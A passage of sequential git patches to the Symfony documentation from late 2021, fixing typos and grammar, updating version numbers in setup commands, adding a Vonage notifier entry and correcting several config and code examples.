 (normally given by the web server).
 Otherwise it will embed directly the sub-response.

From bcf1675acf4d6965e666425884f61adf7ee2e42a Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 18 Nov 2021 17:02:13 +0100
Subject: [PATCH 1393/5766] Adding folder name

---
 frontend/encore/versioning.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/versioning.rst b/frontend/encore/versioning.rst
index ecea440ec75..6fe8a8275cd 100644
--- a/frontend/encore/versioning.rst
+++ b/frontend/encore/versioning.rst
@@ -28,11 +28,12 @@ To link to these assets, Encore creates two files ``entrypoints.json`` and
 Loading Assets from ``entrypoints.json`` & ``manifest.json``
 ------------------------------------------------------------
 
-Whenever you run Encore, two configuration files are generated: ``entrypoints.json``
+Whenever you run Encore, two configuration files are generated in your
+output folder (default location: ``public/build/``): ``entrypoints.json``
 and ``manifest.json``. Each file is similar, and contains a map to the final, versioned
-filename.
+filenames.
 
-The first file - ``entrypoints.json`` - is used by the ``encore_entry_script_tags()``
+The first file – ``entrypoints.json`` – is used by the ``encore_entry_script_tags()``
 and ``encore_entry_link_tags()`` Twig helpers. If you're using these, then your
 CSS and JavaScript files will render with the new, versioned filename. If you're
 not using Symfony, your app will need to read this file in a similar way.

From 19af567dedca6b9ba3be5db4a2136e94a7e98b1c Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 23 Nov 2021 20:13:53 +0100
Subject: [PATCH 1394/5766] Document PHP attribute naming convention

---
 contributing/code/standards.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 1ee3c5380ed..ab4ca19ff4c 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -224,6 +224,9 @@ Naming Conventions
 
 * Suffix exceptions with ``Exception``;
 
+* Prefix PHP attributes with ``As`` where applicable (e.g. ``#[AsCommand]``
+  instead of ``#[Command]``, but ``#[When]`` is kept as-is);
+
 * Use UpperCamelCase for naming PHP files (e.g. ``EnvVarProcessor.php``) and
   snake case for naming Twig templates and web assets (``section_layout.html.twig``,
   ``index.scss``);

From 7ced38d8d2b7e3dbfa0b3997cfbde93f02e72fc4 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 23 Nov 2021 20:41:12 +0100
Subject: [PATCH 1395/5766] [ExpressionLanguage] Remove array element

The expressions "life == everything" and "life > everything" don't require the "universe" element.
---
 components/expression_language/syntax.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 5b7ee72ec7a..af5bfa5fc71 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -204,7 +204,6 @@ Examples::
         'life == everything',
         [
             'life' => 10,
-            'universe' => 10,
             'everything' => 22,
         ]
     );
@@ -213,7 +212,6 @@ Examples::
         'life > everything',
         [
             'life' => 10,
-            'universe' => 10,
             'everything' => 22,
         ]
     );

From 66a248ae15b714cab3f100895873f9f07c7d7500 Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Wed, 24 Nov 2021 09:03:23 +0100
Subject: [PATCH 1396/5766] Corrected typo in notifier.rst

Replaced "send" by "sent".
---
 notifier.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 1ef5b5521f7..0280a04f8ad 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -615,7 +615,7 @@ The
 :class:`Symfony\\Component\\Notifier\\Notification\\SmsNotificationInterface`
 and
 :class:`Symfony\\Component\\Notifier\\Notification\\EmailNotificationInterface`
-also exists to modify messages send to those channels.
+also exists to modify messages sent to those channels.
 
 Disabling Delivery
 ------------------

From 78a11fdf5790a1c64a759e1742ae205b9c4c218c Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Petar=20Petkovi=C4=87?= <petkpera@gmail.com>
Date: Wed, 24 Nov 2021 14:39:14 +0100
Subject: [PATCH 1397/5766] Update page_creation.rst

---
 page_creation.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index c55c471fcee..672c6ba72ec 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -81,14 +81,14 @@ If you see a lucky number being printed back to you, congratulations! But before
 you run off to play the lottery, check out how this works. Remember the two steps
 to creating a page?
 
+#. *Create a controller and a method*: This is a function where *you* build the page and ultimately
+   return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
+   in their own section, including how to return JSON responses.
+   
 #. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
    page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
    in its own section, including how to make *variable* URLs;
 
-#. *Create a controller*: This is a function where *you* build the page and ultimately
-   return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
-   in their own section, including how to return JSON responses.
-
 .. _annotation-routes:
 
 Annotation Routes

From 801670f393546a7d6e67e4bf7ea698811c8b1da3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 24 Nov 2021 17:45:01 +0100
Subject: [PATCH 1398/5766] Minor tweak

---
 page_creation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 672c6ba72ec..7a55a8ce5bf 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -83,11 +83,11 @@ to creating a page?
 
 #. *Create a controller and a method*: This is a function where *you* build the page and ultimately
    return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
-   in their own section, including how to return JSON responses.
+   in their own section, including how to return JSON responses;
    
 #. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
    page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
-   in its own section, including how to make *variable* URLs;
+   in its own section, including how to make *variable* URLs.
 
 .. _annotation-routes:
 

From 37d1373bf03911cdef57c5334cdc0601798bf5b5 Mon Sep 17 00:00:00 2001
From: Yoan Arnaudov <jonidev@gmail.com>
Date: Mon, 15 Nov 2021 21:41:58 +0200
Subject: [PATCH 1399/5766] Fix assert statement

---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index 20574b05f91..20ccf5ea893 100644
--- a/console.rst
+++ b/console.rst
@@ -376,7 +376,7 @@ console::
 
             // the output of the command in the console
             $output = $commandTester->getDisplay();
-            $this->assertContains('Username: Wouter', $output);
+            $this->assertStringContainsString('Username: Wouter', $output);
 
             // ...
         }

From 14e521e016908940267d885586a284839af9b205 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 24 Nov 2021 15:38:12 +0100
Subject: [PATCH 1400/5766] [Form] Minor

---
 reference/forms/types/enum.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index e9842516acc..c91111e4284 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -31,7 +31,7 @@ Example Usage
 
 Before using this field, you'll need to have some PHP enumeration (or "enum" for
 short) defined somewhere in your application. This enum has to be of type
-"backed enum", where each keyword defines a scalar value such a string::
+"backed enum", where each keyword defines a scalar value such as a string::
 
     // src/Config/TextAlign.php
     namespace App\Config;
@@ -53,8 +53,8 @@ Instead of using the values of the enumeration in a ``choices`` option, the
     $builder->add('alignment', EnumType::class, ['class' => TextAlign::class]);
 
 This will display a ``<select>`` tag with the three possible values defined in
-the ``TextAlign`` enum. Use the ``expanded`` and ``multiple`` options to display
-these values as ``<input type="checkbox">`` and ``<input type="radio">``.
+the ``TextAlign`` enum. Use the `expanded`_ and `multiple`_ options to display
+these values as ``<input type="checkbox">`` or ``<input type="radio">``.
 
 Field Options
 -------------

From 6b392f229357de70542074cdeb3ded2ff76bb410 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Wed, 24 Nov 2021 19:10:56 +0100
Subject: [PATCH 1401/5766] Update symfony_server.rst

---
 setup/symfony_server.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 98fe04a97a7..ff2d060a5cb 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -114,10 +114,10 @@ root directory:
     $ cd my-project/
 
     # use a specific PHP version
-    $ echo 7.2 > .php-version
+    $ echo 7.4 > .php-version
 
-    # use any PHP 7.x version available
-    $ echo 7 > .php-version
+    # use any PHP 8.x version available
+    $ echo 8 > .php-version
 
 .. tip::
 

From b54dcb9f0b5600a4397126a6dc9ff8d790f17510 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 24 Nov 2021 20:17:25 +0100
Subject: [PATCH 1402/5766] [Mailer] Remove duplicate semicolon

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 807d5739b72..789b56d6b99 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -324,7 +324,7 @@ header, etc.) but most of the times you'll set text headers::
         ->getHeaders()
             // this header tells auto-repliers ("email holiday mode") to not
             // reply to this message because it's an automated email
-            ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply');
+            ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply')
 
         // ...
     ;

From 4f475d6e1e120ae423695be0281bea2b0d9492fc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 25 Nov 2021 09:00:37 +0100
Subject: [PATCH 1403/5766] Minor reword

---
 components/finder.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 4ccd6c7fe0d..ecae414084a 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -148,13 +148,14 @@ can reuse those rules to exclude files and directories from the results with the
     // excludes files/directories matching the .gitignore patterns
     $finder->ignoreVCSIgnored(true);
 
-Rules from higher levels will be overridden by those in lower levels.
+The rules of a directory always override the rules of its parent directories.
 
 .. note::
 
-    Only ``.gitignore`` files from search directories and their descendants are
-    read. Files from parent directories are ignored. To be consistent with Git
-    behavior, you should explicitly search from the Git repository root.
+    Git looks for ``.gitignore`` files starting from the repository root directory.
+    Symfony's Finder behavior is different and it looks for ``.gitignore`` files
+    starting from the directory used to search files/directories. To be consistent
+    with Git behavior, you should explicitly search from the Git repository root.
 
 .. versionadded:: 5.4
 

From 2133ec4fc0df3e158b3b5d4974b4b82d68b10a9c Mon Sep 17 00:00:00 2001
From: helmi <43951764+helmis123@users.noreply.github.com>
Date: Thu, 25 Nov 2021 15:29:07 +0100
Subject: [PATCH 1404/5766] Update http_cache.rst

Update CacheKernel implementation in public/index.php
Removal of "$request" which was moved to SymfonyRuntime
---
 http_cache.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/http_cache.rst b/http_cache.rst
index 35620d1cd76..59ca7e19526 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -98,15 +98,14 @@ caching kernel:
     + use App\CacheKernel;
       use App\Kernel;
 
-      // ...
-      $kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
+    // ...
+    $kernel = new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
     + // Wrap the default Kernel with the CacheKernel one in 'prod' environment
     + if ('prod' === $kernel->getEnvironment()) {
-    +     $kernel = new CacheKernel($kernel);
+    +     return new CacheKernel($kernel);
     + }
+    return $kernel;
 
-      $request = Request::createFromGlobals();
-      // ...
 
 The caching kernel will immediately act as a reverse proxy: caching responses
 from your application and returning them to the client.

From 8a5ac3137501f9c4ae7b7e930c6ae89b5a1505ce Mon Sep 17 00:00:00 2001
From: Yoann Chocteau <yoann@chocteau.dev>
Date: Thu, 25 Nov 2021 19:43:46 +0100
Subject: [PATCH 1405/5766] =?UTF-8?q?The=20method=20renderForm=20generate?=
 =?UTF-8?q?=20a=20422=20Unprocessable=20Entity=20if=20the=20form=20is=20in?=
 =?UTF-8?q?valid.=20So=20we=20can=E2=80=99t=20pass=20in=20the=20success=20?=
 =?UTF-8?q?method.=20I=20suggest=20to=20replace=20it=20with=20the=20comple?=
 =?UTF-8?q?te=20method.?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 form/dynamic_form_modification.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 30d53efb780..01694ad9653 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -568,11 +568,11 @@ field according to the current selection in the ``sport`` field:
         url : $form.attr('action'),
         type: $form.attr('method'),
         data : data,
-        success: function(html) {
+        complete: function(html) {
           // Replace current position field ...
           $('#meetup_position').replaceWith(
             // ... with the returned one from the AJAX response.
-            $(html).find('#meetup_position')
+            $(html.responseText).find('#meetup_position')
           );
           // Position field now displays the appropriate positions.
         }

From bf8fa81275d8f31e439c78f760e6465f935cb6ed Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Fri, 26 Nov 2021 14:08:57 +0100
Subject: [PATCH 1406/5766] Typo in validation_group_service_resolver.rst

Corrected namespace of ValidationGroupResolver.
---
 form/validation_group_service_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst
index e9ad7a67724..9b12bdfec55 100644
--- a/form/validation_group_service_resolver.rst
+++ b/form/validation_group_service_resolver.rst
@@ -38,7 +38,7 @@ Then in your form, inject the resolver and set it as the ``validation_groups``::
     // src/Form/MyClassType.php;
     namespace App\Form;
 
-    use App\Validator\ValidationGroupResolver;
+    use App\Validation\ValidationGroupResolver;
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\OptionsResolver\OptionsResolver;
 

From b5c0d3e2af8029cdfb7d91abb7fb3bbcf4c11563 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 26 Nov 2021 20:03:12 +0100
Subject: [PATCH 1407/5766] Typo

---
 form/bootstrap5.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 2e82bda0cab..1ff693a753f 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -90,7 +90,7 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
 Error Messages
 --------------
 
-Unlike the :doc:`Bootstrap 4 theme </form/bootstrap4>`, errors are rendered
+Unlike in the :doc:`Bootstrap 4 theme </form/bootstrap4>`, errors are rendered
 **after** the ``input`` element. However, this still makes a strong connection
 between the error and its ``<input>``, as required by the `WCAG 2.0 standard`_.
 

From aec97fd0a216d715f281e2832c04e972dfbb460d Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Fri, 26 Nov 2021 21:37:48 +0100
Subject: [PATCH 1408/5766] [Testing] Fix grammar issue

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index b4e351cd32a..07b79a45bec 100644
--- a/testing.rst
+++ b/testing.rst
@@ -573,7 +573,7 @@ will no longer be followed::
 Making AJAX Requests
 ....................
 
-The client provides a
+The client provides an
 :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest`
 method, which has the same arguments as the ``request()`` method and is
 a shortcut to make AJAX requests::

From 1a2cb078e15003cacddfc9b977453555be5b6c23 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Fri, 26 Nov 2021 20:10:59 +0100
Subject: [PATCH 1409/5766] [PHPUnitBridge] [PHPUnit Bridge] Fix @-silencing
 operator link

---
 components/phpunit_bridge.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 96f3115f77e..999ddd46865 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -226,7 +226,7 @@ message contains the ``"foobar"`` string.
 Making Tests Fail
 ~~~~~~~~~~~~~~~~~
 
-By default, any non-legacy-tagged or any non-`@-silenced <@-silencing operator>`_
+By default, any non-legacy-tagged or any non-silenced (`@-silencing operator`_)
 deprecation notices will make tests fail. Alternatively, you can configure
 an arbitrary threshold by setting ``SYMFONY_DEPRECATIONS_HELPER`` to
 ``max[total]=320`` for instance. It will make the tests fail only if a

From 1aa5b6e2372bf1f1e216ce1f9c58ea2272c04527 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 29 Nov 2021 16:36:16 +0100
Subject: [PATCH 1410/5766] [Notifier] Vonage bridge and deprecation of nexmo
 bridge

---
 notifier.rst | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 555a624c814..febb0d331e4 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -86,6 +86,7 @@ SpotHit         ``symfony/spothit-notifier``          ``spothit://TOKEN@default?
 Telnyx          ``symfony/telnyx-notifier``           ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 TurboSms        ``symfony/turbo-sms-notifier``        ``turbosms://AUTH_TOKEN@default?from=FROM``
 Twilio          ``symfony/twilio-notifier``           ``twilio://SID:TOKEN@default?from=FROM``
+Vonage          ``symfony/vonage-notifier``           ``vonage://KEY:SECRET@default?from=FROM``
 Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default``
 ==============  ====================================  ===========================================================================
 
@@ -102,10 +103,14 @@ Yunpian         ``symfony/yunpian-notifier``          ``yunpian://APIKEY@default
     The Iqsms, GatewayApi, Octopush, AllMySms, Clickatell, SpotHit, FakeSms (email), LightSms, SmsBiuras
     and MessageBird integrations were introduced in Symfony 5.3.
 
+.. deprecated:: 5.4
+
+    The Nexmo integration was deprecated in Symfony 5.4, use the Vonage integration instead.
+
 .. versionadded:: 5.4
 
-    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet, FakeSms (logger)
-    and Sms77 integrations were introduced in Symfony 5.4.
+    The MessageMedia, Smsc, Yunpian, AmazonSns, Telnyx, TurboSms, Mailjet, FakeSms (logger),
+    Sms77 and Vonage integrations were introduced in Symfony 5.4.
 
 To enable a texter, add the correct DSN in your ``.env`` file and
 configure the ``texter_transports``:

From 80ba85c806f1181ee158b35ba0e9a4bacad2dc72 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 29 Nov 2021 22:45:13 +0100
Subject: [PATCH 1411/5766] Updating link to PHP enum

---
 reference/forms/types/enum.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index c91111e4284..51fefe016f0 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -116,4 +116,4 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
-.. _`PHP enumeration`: https://wiki.php.net/rfc/enumerations
+.. _`PHP enumeration`: https://www.php.net/manual/language.enumerations.php

From ad1438b20bf12e954d0fe5ce937443974ca5e254 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Mon, 29 Nov 2021 21:18:04 +0330
Subject: [PATCH 1412/5766] Update setup.rst - Symfony 5.4

---
 setup.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup.rst b/setup.rst
index 92206e09ab7..0fdc698699a 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version="5.4.x@dev" --full
+    $ symfony new my_project_name --version="5.4.x" --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version="5.4.x@dev"
+    $ symfony new my_project_name --version="5.4.x"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -69,10 +69,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.4.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton:"5.4.x" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.4.x@dev" my_project_name
+    $ composer create-project symfony/skeleton:"5.4.x" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies
@@ -271,14 +271,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_name --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_name --version=4.4
+    $ symfony new my_project_name --version=5.4
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/website-skeleton:"^5.4" my_project_name
 
 The Symfony Demo application
 ----------------------------

From 01d3ba49bad380489ca2b9a9b5ae5683ae74caab Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Mon, 29 Nov 2021 21:19:22 +0330
Subject: [PATCH 1413/5766] Update setup.rst - Symfony 6.0

---
 setup.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/setup.rst b/setup.rst
index 890d0f891c1..5df1a17b22c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --version="6.0.x@dev" --full
+    $ symfony new my_project_name --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name --version="6.0.x@dev"
+    $ symfony new my_project_name
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -69,10 +69,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"6.0.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"6.0.x@dev" my_project_name
+    $ composer create-project symfony/skeleton my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies
@@ -271,14 +271,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_name --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_name --version=4.4
+    $ symfony new my_project_name --version=5.4
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/website-skeleton:"^5.4" my_project_name
 
 The Symfony Demo application
 ----------------------------

From c2e8f1764e43b763630cc264880f7de456d37866 Mon Sep 17 00:00:00 2001
From: Bruno Baguette <bruno.baguette@gmail.com>
Date: Wed, 1 Dec 2021 21:38:31 +0100
Subject: [PATCH 1414/5766] =?UTF-8?q?Typo=20fix=20:=20"Thees"=20=E2=9E=A4?=
 =?UTF-8?q?=20"These"?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 workflow.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 40e1d5e7986..2f03abb49df 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -587,7 +587,7 @@ events specified in the workflow configuration. In the above example the
 ``workflow.leave`` event will not be fired, even if it has been specified as an
 event to be dispatched for all transitions in the workflow configuration.
 
-Thees are all the available constants:
+These are all the available constants:
 
     * ``Workflow::DISABLE_LEAVE_EVENT``
     * ``Workflow::DISABLE_TRANSITION_EVENT``

From ccc04feedfaa3d6a9a0a88df809af5ae45d98ebe Mon Sep 17 00:00:00 2001
From: Pierre Galvez <login@pierre-galvez.fr>
Date: Wed, 1 Dec 2021 22:05:07 +0100
Subject: [PATCH 1415/5766] Fix exemple config

The reset_on_message config is in messenger and not in async.
---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 59ac3a5fb4e..3bae8e29f8b 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -719,10 +719,11 @@ reset the service container between two messages:
         # config/packages/messenger.yaml
         framework:
             messenger:
+                reset_on_message: true
                 transports:
                     async:
                         dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
-                        reset_on_message: true
+                        
 
     .. code-block:: xml
 

From 92d26eb9f6852940fc8e52190295098c0807f4f0 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Thu, 2 Dec 2021 10:17:19 +0330
Subject: [PATCH 1416/5766] Update setup.rst (Symfony 6.0)

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index 5df1a17b22c..5e184d7437f 100644
--- a/setup.rst
+++ b/setup.rst
@@ -278,7 +278,7 @@ create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton:"^5.4" my_project_name
+    $ composer create-project symfony/skeleton:"^5.4" my_project_name
 
 The Symfony Demo application
 ----------------------------

From 3b34bfde57ffd508deb0173d0b49c7a97f672d85 Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Thu, 2 Dec 2021 10:20:18 +0330
Subject: [PATCH 1417/5766] Update setup.rst (Symfony 6.1)

---
 setup.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5df1a17b22c..87dc893ed56 100644
--- a/setup.rst
+++ b/setup.rst
@@ -54,10 +54,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_name --full
+    $ symfony new my_project_name --version=6.1 --full
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_name
+    $ symfony new my_project_name --version=6.1
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--full`` option installs all the packages that you
@@ -69,10 +69,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton my_project_name
+    $ composer create-project symfony/website-skeleton:"^6.1" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton my_project_name
+    $ composer create-project symfony/skeleton:"^6.1" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies
@@ -278,7 +278,7 @@ create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton:"^5.4" my_project_name
+    $ composer create-project symfony/skeleton:"^5.4" my_project_name
 
 The Symfony Demo application
 ----------------------------

From a11c59990d65f6b3437604165ad2f7d3504d906c Mon Sep 17 00:00:00 2001
From: BahmanMD <bahman.mehrdad@gmail.com>
Date: Thu, 2 Dec 2021 10:21:41 +0330
Subject: [PATCH 1418/5766] Update setup.rst (Symfony 4.4)

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index e4049c4a1bc..7c2e7536d98 100644
--- a/setup.rst
+++ b/setup.rst
@@ -271,7 +271,7 @@ create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/website-skeleton:"^4.4" my_project_name
+    $ composer create-project symfony/skeleton:"^4.4" my_project_name
 
 The Symfony Demo application
 ----------------------------

From ca12801a7b524182f773b1c84543df3b00111381 Mon Sep 17 00:00:00 2001
From: Hugo Nicolas <hugo.nicolas.hn@gmail.com>
Date: Thu, 2 Dec 2021 07:56:44 +0100
Subject: [PATCH 1419/5766] docs(lock): fix typo in symfony lock documentation

---
 lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lock.rst b/lock.rst
index 3fde32ee190..de61cfb133b 100644
--- a/lock.rst
+++ b/lock.rst
@@ -190,7 +190,7 @@ Locking a Dynamic Resource
 
 Sometimes the application is able to cut the resource into small pieces in order
 to lock a small subset of process and let other through. In our previous example
-with see how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
+we've seen how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
 now let's see how to lock ``$pdf->getOrCreatePdf($version)`` only for
 processes asking for the same ``$version``::
 

From d19515c6a2a506e8d01fdc138f5e6ef1c77352a8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Dec 2021 11:59:32 +0100
Subject: [PATCH 1420/5766] Minor tweaks

---
 templates.rst | 12 +++++++++++-
